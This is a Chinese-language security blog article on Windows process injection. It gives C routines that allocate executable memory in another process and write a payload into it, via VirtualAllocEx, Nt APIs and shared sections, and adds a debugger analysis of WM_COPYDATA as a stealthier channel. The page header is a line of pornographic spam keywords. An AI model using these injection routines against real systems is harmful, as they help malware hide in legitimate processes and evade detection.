压在透明的玻璃上c-国产精品国产一级A片精品免费-国产精品视频网-成人黄网站18秘 免费看|www.tcsft.com

Windows進程注入payload分析

前言

上次一篇文章討論了編寫進程注入payload時的一些問題。本文的目的是討論將payload部署到目標進程的內存空間以便執行。我們可以使用傳統的Win32 API來完成這個任務,有些讀者可能已經對此很熟悉了,但是使用非常規方法也有可能具有創造性。例如,我們可以使用API來執行它們原本不想要的讀寫操作,這可能有助于避免檢測。部署和執行payload的方法有多種,但并不是所有的方法都簡單易用。讓我們首先關注傳統的API,它雖然相對容易檢測,但在攻擊者中仍然很受歡迎。

下面是來自Sysinals的VMMap屏幕截圖,顯示了為我將要處理的系統(Windows 10)分配的內存類型。其中一些內存有可能用于存儲payload。

t01e343112eebbb832f

分配虛擬內存

每個進程都有自己的虛擬地址空間。共享內存存在于進程之間,但一般來說,進程A不應該能夠在沒有內核幫助的情況下查看進程B的虛擬內存。當然,內核可以看到所有進程的虛擬內存,因為它必須執行虛擬內存到物理內存的轉換。進程A可以使用虛擬內存API在進程B的地址空間中分配新的虛擬內存,然后由內核處理。有些讀者可能熟悉在另一個進程的虛擬內存中部署payload的步驟:

  1. 使用OpenProcess或NtOpenProcess打開目標進程。
  2. 使用VirtualAllocEx或NtAllocateVirtualMemory在目標進程中分配eXecute-Read-Write (XRW)內存。
  3. 使用WriteProcessMemory或NtWriteVirtualMemory將payload復制到新內存。
  4. 執行payload。
  5. 使用VirtualFreeEx或NtFreeVirtualMemory在目標進程中取消分配XRW內存。
  6. 使用CloseHandle或NtClose關閉目標進程句柄。

使用Win32 API。這只顯示XRW內存的分配和將payload寫入新內存。

PVOID CopyPayload1(HANDLE hp, LPVOID payload, ULONG payloadSize){
    LPVOID ptr=NULL;
    SIZE_T tmp;

    // 1. allocate memory
    ptr = VirtualAllocEx(hp, NULL, 
      payloadSize, MEM_COMMIT|MEM_RESERVE,
      PAGE_EXECUTE_READWRITE);

    // 2. write payload
    WriteProcessMemory(hp, ptr, 
      payload, payloadSize, &tmp);

    return ptr;
}

或者使用Nt/Zw API。

LPVOID CopyPayload2(HANDLE hp, LPVOID payload, ULONG payloadSize){
    LPVOID   ptr=NULL;
    ULONG    len=payloadSize;
    NTSTATUS nt;
    ULONG    tmp;

    // 1. allocate memory
    NtAllocateVirtualMemory(hp, &ptr, 0, 
      &len, MEM_COMMIT|MEM_RESERVE,
      PAGE_EXECUTE|PAGE_READWRITE);

    // 2. write payload
    NtWriteVirtualMemory(hp, ptr, 
      payload, payloadSize, &tmp);

    return ptr;
}

雖然這里沒有顯示,但可能會使用其他操作來刪除虛擬內存的寫入權限。

創建section object

另一種方法是使用section object。微軟對此有何說明?

section object表示可以共享的內存段。進程可以使用section object與其他進程共享其內存地址空間的一部分。section object還提供了進程可以將文件映射到其內存地址空間的機制。

雖然在常規應用程序中使用這些API表明存在惡意,但攻擊者將繼續使用它們進行進程注入。

  1. 使用NtCreateBroker創建一個新的section object,并將其分配給S。
  2. 使用NtMapViewOfSection映射攻擊進程的S視圖,并分配給B1。
  3. 使用NtMapViewOfSection映射目標進程的S視圖,并分配給B2。
  4. 將payload復制到B1。
  5. 映射B1。
  6. 關閉S
  7. 返回指向B2的指針。
LPVOID CopyPayload3(HANDLE hp, LPVOID payload, ULONG payloadSize){
    HANDLE        s;
    LPVOID        ba1=NULL, ba2=NULL;
    ULONG         vs=0;
    LARGE_INTEGER li;

    li.HighPart = 0;
    li.LowPart  = payloadSize;

    // 1. create a new section
    NtCreateSection(&s, SECTION_ALL_ACCESS, 
      NULL, &li, PAGE_EXECUTE_READWRITE, SEC_COMMIT, NULL);

    // 2. map view of section for current process
    NtMapViewOfSection(s, GetCurrentProcess(),
      &ba1, 0, 0, 0, &vs, ViewShare,
      0, PAGE_EXECUTE_READWRITE);

    // 3. map view of section for target process  
    NtMapViewOfSection(s, hp, &ba2, 0, 0, 0, 
      &vs, ViewShare, 0, PAGE_EXECUTE_READWRITE); 

    // 4. copy payload to section of memory
    memcpy(ba1, payload, payloadSize);

    // 5. unmap memory in the current process
    ZwUnmapViewOfSection(GetCurrentProcess(), ba1);

    // 6. close section
    ZwClose(s);

    // 7. return pointer to payload in target process space
    return (PBYTE)ba2;
}

使用現有的section object和ROP鏈

PowerLoader惡意程序使用由Explorer.exe創建的現有共享對象來存儲payload,但由于對象(讀寫)的權限,如果不使用面向返回的編程(ROP)鏈,無法直接執行代碼。可以將payload復制到內存中,但如果沒有一些額外的技巧,就無法執行它。

PowerLoader使用以下section名進行代碼注入:

"BaseNamedObjectsShimSharedMemory"
"BaseNamedObjectswindows_shell_global_counters"
"BaseNamedObjectsMSCTF.Shared.SFM.MIH"
"BaseNamedObjectsMSCTF.Shared.SFM.AMF"
"BaseNamedObjectsUrlZonesSM_Administrator"
"BaseNamedObjectsUrlZonesSM_SYSTEM"
  1. 使用NtOpenSection打開目標進程中的現有內存段
  2. 使用NtMapViewOfSection映射section視圖
  3. 將payload復制到內存
  4. 使用ROP鏈執行

UI共享內存

Ensilo使用PowerLoaderEx演示了使用UI共享內存執行進程。Steroids注入:無密碼的代碼注入和0day技術 描述了更多關于它如何工作的細節。它使用桌面堆棧將payload注入explorer.exe。

閱讀MSDN上的桌面堆棧概述,我們可以看到用戶界面的進程之間已經有共享內存。

每個桌面對象都有一個與之關聯的桌面堆棧。桌面堆棧存儲某些用戶界面對象,如窗口、菜單和鉤子。當應用程序需要一個用戶界面對象時,調用user32.dll中的函數來分配這些對象。如果應用程序不依賴于user32.dll,則不使用桌面堆棧。讓我們來看一個簡單的應用程序如何使用桌面堆棧的示例。

使用code cave

基于主機的入侵防御系統(Host Intrusion Prevention Systems/HIPS)將VirtualAllocEx/WriteProcessMemory的使用為可疑活動,這可能是PowerLoader的作者使用現有部分對象的原因。PowerLoader很可能啟發了AtomBombing背后的作者使用動態鏈接庫(DLL)中的code cave來存儲payload,并使用ROP鏈執行。

AtomBombing使用GlobalAddAtom、GlobalGetAtomName和NtQueueApcThread的組合將payload部署到目標進程中。執行是使用ROP鏈和SetThreadContext完成的。如果不使用標準方法,還有什么其他方法可以部署payload呢?

進程間通信(IPC)可用于與另一個進程共享數據。實現這一目標的一些方法包括:

  • Clipboard (WM_PASTE)
  • Data Copy (WM_COPYDATA)
  • Named pipes
  • Component Object Model (COM)
  • Remote Procedure Call (RPC)
  • Dynamic Data Exchange (DDE)

為了完成本文,我決定檢查WM_COPYDATA,但是事后看來,我認為COM可能是更好的方式。

可以通過WM_COPYDATA消息在GUI進程之間合法地共享數據,但是它可以用于進程注入嗎?SendMessage和PostMessage是兩種這樣的API,可用于將數據寫入遠程進程空間,而無需顯式打開目標進程并使用虛擬內存API在那里復制數據。

Tarjei Mandt在Blackhat 2011上展示的通過User-Mode回調進行的內核攻擊 使我研究了使用位于進程環境塊(PEB)中的KernelCallbackTable進行進程注入的可能性。當user32.dll加載到GUI進程中時,該字段被初始化為一個函數數組,這是我最初開始了解內核如何發送窗口消息的地方。

將WinDbg附加到記事本上,獲取PEB的地址。

0:001> !peb
!peb
PEB at 0000009832e49000

將其轉儲到windows調試器中將顯示以下詳細信息。我們感興趣的是KernelCallbackTable,所以我已經去掉了大部分字段。

0:001> dt !_PEB 0000009832e49000
ntdll!_PEB
   +0x000 InheritedAddressSpace : 0 ''
   +0x001 ReadImageFileExecOptions : 0 ''
   +0x002 BeingDebugged    : 0x1 ''

    // details stripped out

   +0x050 ReservedBits0    : 0y0000000000000000000000000 (0)
   +0x054 Padding1         : [4]  ""
   +0x058 KernelCallbackTable : 0x00007ffd6afc3070 Void
   +0x058 UserSharedInfoPtr : 0x00007ffd6afc3070 Void

如果我們使用轉儲符號命令轉儲地址0x00007ffd6afc3070,就會看到對USER32!apfnDispatch的引用。

0:001> dps $peb+58
0000009832e49058  00007ffd6afc3070 USER32!apfnDispatch
0000009832e49060  0000000000000000
0000009832e49068  0000029258490000
0000009832e49070  0000000000000000
0000009832e49078  00007ffd6c0fc2e0 ntdll!TlsBitMap
0000009832e49080  000003ffffffffff
0000009832e49088  00007df45c6a0000
0000009832e49090  0000000000000000
0000009832e49098  00007df45c6a0730
0000009832e490a0  00007df55e7d0000
0000009832e490a8  00007df55e7e0228
0000009832e490b0  00007df55e7f0650
0000009832e490b8  0000000000000001
0000009832e490c0  ffffe86d079b8000
0000009832e490c8  0000000000100000
0000009832e490d0  0000000000002000

仔細檢查USER32!apfnDispatch可以發現一系列函數。

0:001> dps USER32!apfnDispatch

00007ffd6afc3070  00007ffd6af62bd0 USER32!_fnCOPYDATA
00007ffd6afc3078  00007ffd6afbae70 USER32!_fnCOPYGLOBALDATA
00007ffd6afc3080  00007ffd6af60420 USER32!_fnDWORD
00007ffd6afc3088  00007ffd6af65680 USER32!_fnNCDESTROY
00007ffd6afc3090  00007ffd6af696a0 USER32!_fnDWORDOPTINLPMSG
00007ffd6afc3098  00007ffd6afbb4a0 USER32!_fnINOUTDRAG
00007ffd6afc30a0  00007ffd6af65d40 USER32!_fnGETTEXTLENGTHS
00007ffd6afc30a8  00007ffd6afbb220 USER32!_fnINCNTOUTSTRING
00007ffd6afc30b0  00007ffd6afbb750 USER32!_fnINCNTOUTSTRINGNULL
00007ffd6afc30b8  00007ffd6af675c0 USER32!_fnINLPCOMPAREITEMSTRUCT
00007ffd6afc30c0  00007ffd6af641f0 USER32!__fnINLPCREATESTRUCT
00007ffd6afc30c8  00007ffd6afbb2e0 USER32!_fnINLPDELETEITEMSTRUCT
00007ffd6afc30d0  00007ffd6af6bc00 USER32!__fnINLPDRAWITEMSTRUCT
00007ffd6afc30d8  00007ffd6afbb330 USER32!_fnINLPHELPINFOSTRUCT
00007ffd6afc30e0  00007ffd6afbb330 USER32!_fnINLPHELPINFOSTRUCT
00007ffd6afc30e8  00007ffd6afbb430 USER32!_fnINLPMDICREATESTRUCT

第一個函數USER32!_fnCOPYDATA在進程A向屬于進程B的窗口發送WM_COPYDATA消息時調用。內核將向目標窗口句柄發送消息,包括其他參數,這些消息將由與其關聯的windows進程處理。

0:001> u USER32!_fnCOPYDATA
USER32!_fnCOPYDATA:
00007ffd6af62bd0 4883ec58        sub     rsp,58h
00007ffd6af62bd4 33c0            xor     eax,eax
00007ffd6af62bd6 4c8bd1          mov     r10,rcx
00007ffd6af62bd9 89442438        mov     dword ptr [rsp+38h],eax
00007ffd6af62bdd 4889442440      mov     qword ptr [rsp+40h],rax
00007ffd6af62be2 394108          cmp     dword ptr [rcx+8],eax
00007ffd6af62be5 740b            je      USER32!_fnCOPYDATA+0x22 (00007ffd6af62bf2)
00007ffd6af62be7 48394120        cmp     qword ptr [rcx+20h],rax

在這個函數上設置斷點并繼續執行。

0:001> bp USER32!_fnCOPYDATA
0:001> g

下面的代碼將把WM_COPYDATA消息發送到記事本。編譯并運行它。

int main(void){
  COPYDATASTRUCT cds;
  HWND           hw;
  WCHAR          msg[]=L"I don't know what to say!n";

  hw = FindWindowEx(0,0,L"Notepad",0);

  if(hw!=NULL){   
    cds.dwData = 1;
    cds.cbData = lstrlen(msg)*2;
    cds.lpData = msg;

    // copy data to notepad memory space
    SendMessage(hw, WM_COPYDATA, (WPARAM)hw, (LPARAM)&cds);
  }
  return 0;
}

一旦該代碼執行,它將在發送WM_COPYDATA消息之前嘗試查找記事本的窗口句柄,這將觸發調試器中的斷點。調用堆棧顯示調用的發源地,在本例中是來自KiUserCallbackDispatcherContinue。根據調用約定,參數放在RCX、RDX、R8和R9中。

Breakpoint 0 hit
USER32!_fnCOPYDATA:
00007ffd6af62bd0 4883ec58        sub     rsp,58h
0:000> k
 # Child-SP          RetAddr           Call Site
00 0000009832caf618 00007ffd6c03dbc4 USER32!_fnCOPYDATA
01 0000009832caf620 00007ffd688d1144 ntdll!KiUserCallbackDispatcherContinue
02 0000009832caf728 00007ffd6af61b0b win32u!NtUserGetMessage+0x14
03 0000009832caf730 00007ff79cc13bed USER32!GetMessageW+0x2b
04 0000009832caf790 00007ff79cc29333 notepad!WinMain+0x291
05 0000009832caf890 00007ffd6bb23034 notepad!__mainCRTStartup+0x19f
06 0000009832caf950 00007ffd6c011431 KERNEL32!BaseThreadInitThunk+0x14
07 0000009832caf980 0000000000000000 ntdll!RtlUserThreadStart+0x21

0:000> r
rax=00007ffd6af62bd0 rbx=0000000000000000 rcx=0000009832caf678
rdx=00000000000000b0 rsi=0000000000000000 rdi=0000000000000000
rip=00007ffd6af62bd0 rsp=0000009832caf618 rbp=0000009832caf829
 r8=0000000000000000  r9=00007ffd6afc3070 r10=0000000000000000
r11=0000000000000244 r12=0000000000000000 r13=0000000000000000
r14=0000000000000000 r15=0000000000000000
iopl=0         nv up ei pl nz na po nc
cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000206
USER32!_fnCOPYDATA:
00007ffd6af62bd0 4883ec58        sub     rsp,58h

將第一個參數的內容轉儲到RCX寄存器中,顯示了示例程序發送的一些可識別數據。notepad!NPWndProc顯然是與接收WM_COPYDATA的目標窗口相關聯的回調過程。

0:000> dps rcx
0000009832caf678  00000038000000b0
0000009832caf680  0000000000000001
0000009832caf688  0000000000000000
0000009832caf690  0000000000000070
0000009832caf698  0000000000000000
0000009832caf6a0  0000029258bbc070
0000009832caf6a8  000000000000004a       // WM_COPYDATA
0000009832caf6b0  00000000000c072e
0000009832caf6b8  0000000000000001
0000009832caf6c0  0000000000000001
0000009832caf6c8  0000000000000034
0000009832caf6d0  0000000000000078
0000009832caf6d8  00007ff79cc131b0 notepad!NPWndProc
0000009832caf6e0  00007ffd6c039da0 ntdll!NtdllDispatchMessage_W
0000009832caf6e8  0000000000000058
0000009832caf6f0  006f006400200049

傳遞給fnCOPYDATA的結構不是調試符號的一部分,但是下面是我們所看到的:

typedef struct _CAPTUREBUF {
    DWORD cbCallback;
    DWORD cbCapture;
    DWORD cCapturedPointers;
    PBYTE pbFree;              
    DWORD offPointers;
    PVOID pvVirtualAddress;
} CAPTUREBUF, *PCAPTUREBUF;

typedef struct _FNCOPYDATAMSG {
    CAPTUREBUF     CaptureBuf;
    PWND           pwnd;
    UINT           msg;
    HWND           hwndFrom;
    BOOL           fDataPresent;
    COPYDATASTRUCT cds;
    ULONG_PTR      xParam;
    PROC           xpfnProc;
} FNCOPYDATAMSG;

繼續并檢查寄存器的內容。

0:000> r
r
rax=00007ffd6c039da0 rbx=0000000000000000 rcx=00007ff79cc131b0
rdx=000000000000004a rsi=0000000000000000 rdi=0000000000000000
rip=00007ffd6af62c16 rsp=0000009832caf5c0 rbp=0000009832caf829
 r8=00000000000c072e  r9=0000009832caf6c0 r10=0000009832caf678
r11=0000000000000244 r12=0000000000000000 r13=0000000000000000
r14=0000000000000000 r15=0000000000000000
iopl=0         nv up ei pl nz na po nc
cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000206
USER32!_fnCOPYDATA+0x46:
00007ffd6af62c16 498b4a28        mov     rcx,qword ptr [r10+28h] ds:0000009832caf6a0=0000029258bbc070

0:000> u rcx
notepad!NPWndProc:
00007ff79cc131b0 4055            push    rbp
00007ff79cc131b2 53              push    rbx
00007ff79cc131b3 56              push    rsi
00007ff79cc131b4 57              push    rdi
00007ff79cc131b5 4154            push    r12
00007ff79cc131b7 4155            push    r13
00007ff79cc131b9 4156            push    r14
00007ff79cc131bb 4157            push    r15

我們看到一個指向COPYDATASTRUCT的指針被放置在R9中。

0:000> dps r9
0000009832caf6c0  0000000000000001
0000009832caf6c8  0000000000000034
0000009832caf6d0  0000009832caf6f0
0000009832caf6d8  00007ff79cc131b0 notepad!NPWndProc
0000009832caf6e0  00007ffd6c039da0 ntdll!NtdllDispatchMessage_W
0000009832caf6e8  0000000000000058
0000009832caf6f0  006f006400200049
0000009832caf6f8  002000740027006e
0000009832caf700  0077006f006e006b
0000009832caf708  0061006800770020
0000009832caf710  006f007400200074
0000009832caf718  0079006100730020
0000009832caf720  00000000000a0021
0000009832caf728  00007ffd6af61b0b USER32!GetMessageW+0x2b
0000009832caf730  0000009800000000
0000009832caf738  0000000000000001

這個結構是在調試符號中定義的,所以我們可以轉儲它,顯示它包含的值。

0:000> dt uxtheme!COPYDATASTRUCT 0000009832caf6c0
   +0x000 dwData           : 1
   +0x008 cbData           : 0x34
   +0x010 lpData           : 0x0000009832caf6f0 Void

最后,檢查應該包含從進程A發送的字符串的lpData字段。

0:000> du poi(0000009832caf6c0+10)
0000009832caf6f0  "I don't know what to say!."

我們可以看到這個地址屬于創建線程時分配的堆棧。

0:000> !address 0000009832caf6f0

Usage:                  Stack
Base Address:           0000009832c9f000
End Address:            0000009832cb0000
Region Size:            0000000000011000 (  68.000 kB)
State:                  00001000          MEM_COMMIT
Protect:                00000004          PAGE_READWRITE
Type:                   00020000          MEM_PRIVATE
Allocation Base:        0000009832c30000
Allocation Protect:     00000004          PAGE_READWRITE
More info:              ~0k

檢查位于線程環境塊(Thread Environment Block/TEB)中的線程信息塊(Thread Information Block/TIB)為我們提供了StackBase和StackLimit。

0:001> dx -r1 (*((uxtheme!_NT_TIB *)0x9832e4a000))
(*((uxtheme!_NT_TIB *)0x9832e4a000))                 [Type: _NT_TIB]
    [+0x000] ExceptionList    : 0x0 [Type: _EXCEPTION_REGISTRATION_RECORD *]
    [+0x008] StackBase        : 0x9832cb0000 [Type: void *]
    [+0x010] StackLimit       : 0x9832c9f000 [Type: void *]
    [+0x018] SubSystemTib     : 0x0 [Type: void *]
    [+0x020] FiberData        : 0x1e00 [Type: void *]
    [+0x020] Version          : 0x1e00 [Type: unsigned long]
    [+0x028] ArbitraryUserPointer : 0x0 [Type: void *]
    [+0x030] Self             : 0x9832e4a000 [Type: _NT_TIB *]

好的,我們可以使用WM_COPYDATA將payload部署到一個目標進程(如果它有一個附加的GUI),但是除非我們能夠執行它,否則它是沒有用的。此外,堆棧是一個易變的內存區域,因此不可靠,無法用作code cave。要執行它,需要找到確切的地址并使用ROP鏈。當ROP鏈被執行時,不能保證payload仍然是完整的。因此,在這種情況下,我們可能不能使用WM_COPYDATA,但需要記住的是,可能有許多方法可以使用合法API與另一個進程共享payload,這些API比使用WriteProcessMemory或NtWriteVirtualMemory更不可疑。

對于WM_COPYDATA,仍然需要確定payload堆棧中的確切地址。可以使用ThreadBasicInformation類通過NtQueryThreadInformationAPI檢索線程環境塊(TEB)的內容。讀取TebAddress后,可以讀取StackLimit和StackBase值。在任何情況下,堆棧的波動性意味著在執行之前payload可能會被覆蓋。

總結

避免使用用于部署和執行payload的常規API都會增加檢測的難度。PowerLoader在現有的section object中使用了一個code cave,并使用了一個ROP鏈來執行。PowerLoaderEx是一個PoC,它使用桌面堆棧,而AtomBombing的PoC使用DLL的.data部分中的一個code cave。

上一篇:新型銀行木馬DanaBot 偽造釣魚郵件進行傳播

下一篇:網絡安全自動化 你需要這五步